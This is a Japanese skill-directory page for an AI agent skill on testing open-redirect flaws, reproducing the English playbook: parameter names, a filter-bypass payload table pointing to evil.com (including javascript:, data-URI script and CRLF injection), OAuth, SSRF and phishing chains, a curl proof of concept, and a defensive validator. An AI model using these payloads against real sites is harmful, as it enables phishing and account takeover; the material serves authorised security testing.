open-redirect
できること
このスキルは、外部のサイトへ利用者を送るリダイレクトパラメーターを見つける方法をエージェントに教えます。ログイン、ログアウト、戻りリンクの機能を確認するセキュリティテスター向けです。
使う場面
- ✓サイトのリンクにnext、return、redirectなどのパラメーターがあり、テストしたいとき。
- ✓OAuthやログインの流れで、URLから取った戻り先に利用者が送られているとき。
- ✓エンコードや工夫によって、リダイレクトのフィルターを回避できるか確かめたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私のサイトのログインページが、サインイン後に利用者を外部サイトへ送れないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、二重のスラッシュ、エンコードされた文字、よく似たドメインなど、さまざまなアドレスの書き方を試します。サーバーが新しいアドレスへ訪問者を送るかどうかを確認します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Open Redirect Playbook
Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).
1. Common parameters
?next=... ?return=... ?continue=... ?redirect=... ?url=... ?to=...
?goto=... ?destination=... ?back=... ?returnTo=... ?callbackUrl=...
?image_url=... ?file=... ?logout_redirect=... ?success=...
Grep recon URLs / JS for these params.
2. Bypass table
| Technique | Payload |
|---|---|
| Direct | https://evil.com |
| Protocol-relative | //evil.com |
| Triple-slash | ///evil.com |
| Backslash | \\evil.com or /\\evil.com |
| Encoded slash | %2f%2fevil.com |
| Mixed encoded | /%5cevil.com |
| Userinfo | https://target.com@evil.com |
| Whitelist confusion | https://target.com.evil.com (subdomain ends w/ allowed) |
| Path-traversal in fragment | target.com/?redirect=evil.com#@target.com |
| Data URI | data:text/html,<script>location='https://evil.com'</script> |
| Javascript URI | javascript:alert(1) (for XSS upgrade) |
| CRLF injection | redirect=evil.com%0d%0aSet-Cookie:... |
| Punycode | https://xn--80ak6aa92e.com (looks like apple.com) |
| Mixed-case scheme | HTTPS://evil.com |
| Whitespace prefix | %09//evil.com, %20//evil.com |
| URL-encoded null | evil.com%00.target.com |
| Multiple slashes | //////evil.com |
3. Chain patterns
3.1 OAuth redirect_uri extension
Target's OAuth flow validates redirect_uri must be on *.target.com.
You have open-redirect at target.com/redir?to=.... Attacker:
redirect_uri=https://target.com/redir?to=https://evil.com/cb
OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.
3.2 SSRF extension
Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).
3.3 Phishing
Send phishing email from attacker domain → click → lands on
target.com/login?next=https://evil-attacker.com/fake-login. After
"login" page redirects to attacker — but URL bar shows target.com for
the first second, building trust.
3.4 Tabnabbing
window.open(URL) w/o noopener,noreferrer → opened tab can navigate
the OPENER (original target tab) to phishing page. Combined w/ open
redirect = full visual takeover of the original target.
4. Tools
- OpenRedireX — fuzz w/ massive payload list
- Burp Intruder w/ payloads from
_corpus/payloads/Open Redirect/ gf(Tomnomnom) patterns to extract redirect params from URLs
5. PoC
curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
# Look for: Location: https://evil.com → confirmed open redirect
6. Severity
| Scenario | Typical |
|---|---|
| Standalone open redirect, no chain | Low 3-4 / Informational |
| Chained w/ OAuth → ATO | Critical 9.0 |
| Chained w/ SSRF bypass → metadata extraction | Critical 9.0 |
| Tabnabbing on high-trust target | Medium 5-6 |
| Phishing-only (no ATO chain) | Low-Medium |
7. Defender
from urllib.parse import urlparse
def safe_redirect(url, allowed_hosts={'target.com'}):
p = urlparse(url)
if not p.netloc: # relative path only
return url if url.startswith('/') and not url.startswith('//') else '/'
if p.netloc in allowed_hosts:
return url
return '/'
# At redirect site:
response.headers['Referrer-Policy'] = 'strict-origin'
target_link.rel = 'noopener noreferrer' # in HTML <a>
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Open Redirect/ - OAuth chain extension:
skills/exploit/web/oauth/SKILL.md - SSRF chain extension:
skills/exploit/web/ssrf.md
よくある質問
オープンリダイレクトは単体でも深刻ですか?
単体では通常は低い、または情報提供レベルとされています。ただし、ログインやOAuthの不具合と組み合わせると深刻になりうるとスキルは説明しています。
どのパラメーター名を探しますか?
next、return、redirect、url、to、callbackUrlなどの名前を探します。
javascriptのリンクも扱いますか?
はい。XSSの攻撃経路の1つとして、javascript URLにも触れています。
詳細
作者による元の説明
Open redirect + tabnabbing — URL filter bypass, OAuth chain extension, phishing infrastructure-free, SSRF chain.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14074
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。